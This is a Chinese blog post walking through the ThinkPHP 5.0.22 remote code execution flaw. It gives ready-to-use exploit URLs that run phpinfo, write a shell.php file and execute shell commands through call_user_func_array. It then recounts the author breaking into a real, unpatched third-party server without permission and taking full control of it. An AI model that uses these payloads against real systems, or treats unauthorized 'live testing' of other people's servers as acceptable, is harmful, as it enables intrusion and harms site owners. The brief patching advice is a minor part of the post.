thinkphp远程执行漏洞的本地复现和实战测试

前言

thinkphp在国内的技术圈还是很有名的。近期该框架爆出远程执行漏洞。作为安全爱好者,自然要去试一试。

漏洞说明

由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以控制服务器)

本地复现

1、下载存在漏洞版本
我选择的版本是thinkphp_5.0.22
下载地址: 官方下载地址

搭建如图


thinkphp远程执行漏洞的本地复现和实战测试_第1张图片
image.png

首页看不出具体的版本号。可以故意输入错误的url。错误页面有网址的版本号

thinkphp远程执行漏洞的本地复现和实战测试_第2张图片
image.png

2、复现漏洞

这里构造几个特殊的url即可复现漏洞。

  • 查看phpinfo信息。
http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp远程执行漏洞的本地复现和实战测试_第3张图片
image.png
  • 写入文件到服务器。
http://localhost/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=111

thinkphp远程执行漏洞的本地复现和实战测试_第4张图片
image.png
  • 执行shell命令
http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cat%20/etc/issue
thinkphp远程执行漏洞的本地复现和实战测试_第5张图片
image.png

其他能干的就不再一一尝试,总之,这个漏洞非常严重。服务器完全被入侵。

如何修复。

升级为最新版本即可。
最新地址

这里不得不说下,这个漏洞很严重,但是tp的官方只是悄悄修复,更新公告中也简单的描叙,还居然只是推荐升级。

本人表示鄙视。以后不会再优先考虑使用tp框架。

外部演练

以上全部是本人在本地模拟,可能看不出严重性。于是我寻找了一个存在该漏洞,还未升级的站点进行了测试。

thinkphp远程执行漏洞的本地复现和实战测试_第6张图片
image.png

完全控制服务器


thinkphp远程执行漏洞的本地复现和实战测试_第7张图片
image.png

我登录的时候,已经早有人黑了该服务器。上面存在多个木马脚本和挖矿脚本。

最后

由于漏洞是2018年12月10号爆发出来的,目前各大主流服务器的防火墙已经可以拦截这个漏洞。
所以各大站长也不必太担心,尽快联系你服务器的安全服务提供者。如果无安全服务提供商,就尽快修复漏洞吧。否则如上图。

吐槽下,现在云服务器时代,漏洞的危害窗口期得确缩短了,基本大的云服务商会很快从底层去拦截该漏洞的利用。
但是也存在一个问题,漏洞现在传播的很快,没有被发现的漏洞太多,漏洞的利用越来越智能化、组合化。

最后,为了找到这个外部演练的站点,真的挺不容易的。

你可能感兴趣的:(thinkphp远程执行漏洞的本地复现和实战测试)